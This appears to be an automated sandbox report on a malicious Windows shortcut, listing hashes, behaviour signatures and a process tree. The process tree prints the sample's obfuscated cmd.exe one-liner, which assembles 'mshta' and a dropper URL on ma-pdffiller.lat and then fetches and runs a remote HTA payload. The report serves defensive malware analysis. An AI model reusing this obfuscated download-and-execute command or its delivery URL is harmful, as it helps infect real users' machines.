Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-3FC0RJ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-3FC0RJ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-3FC0RJ.lnk
- Size 2KB
- Sample260804-kbnt6svfrf
- SHA256 8be09955dc014152b1495f08f7ccd9b1a7478169c4bb555dd533fe5e46873404
- MD5 dc790913c30b9527c8c6243e890141e5
- SHA1 52b099713b01fbc6192a84c892fc2479823b81ca
- SHA512 6960046c6b1d73556e76476217ab11e96599f40073acb04a6b107247daf2b5155ef60ff0f6ecf649cdcbba6bac125ba32e7ffc22dd7facca8f2924609909dfdb
- TLSH T1D25146902AEE45D8F2FB9F72EDFE2BD1497BBA627D24C11D0950810C4822B40D573B62
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3804 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3804 wrote to memory of 4160 3804 cmd.exe 90 PID 4160 wrote to memory of 3312 4160 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3FC0RJ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set WFZrn=31kst2&&set lQn=ear8&&set jz=ftp&set YfXv=systhjzsaihzhbqcipscdsys&set TYU=infdyaqxolpinf&set pwIPS=bakrvnucybbajoxuvlbbak&set dsN=datiftmkwspjqbblzbdat&set GAJk=tmpkbyiqcjtmp&set Ntqfm=datcxsfnljxyodat&set BQv=cfglndzqtxvnhcfg&set zfszB=bakzrrbbak&set VdUMg=bakmhkndfbak&set Gxvsh=datyocqylztaxekiagxdscdat&set fJ=datiuegrhqjgktttpdat&set qjdF=4msal&&set Cd=9htahob&set lCur=infuprwniflpminf&&set UcsM=ht@t@p@s://ma@-p@df@f@ille@r.@lat/h@/e@st@ag@io1.@ph@p@?r=3@91469FB@5@D8@2DB&&start /b !qjdF:~1,2!!Cd:~1,3! !UcsM:@=!&&set nmznx=done"2⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3312
-
-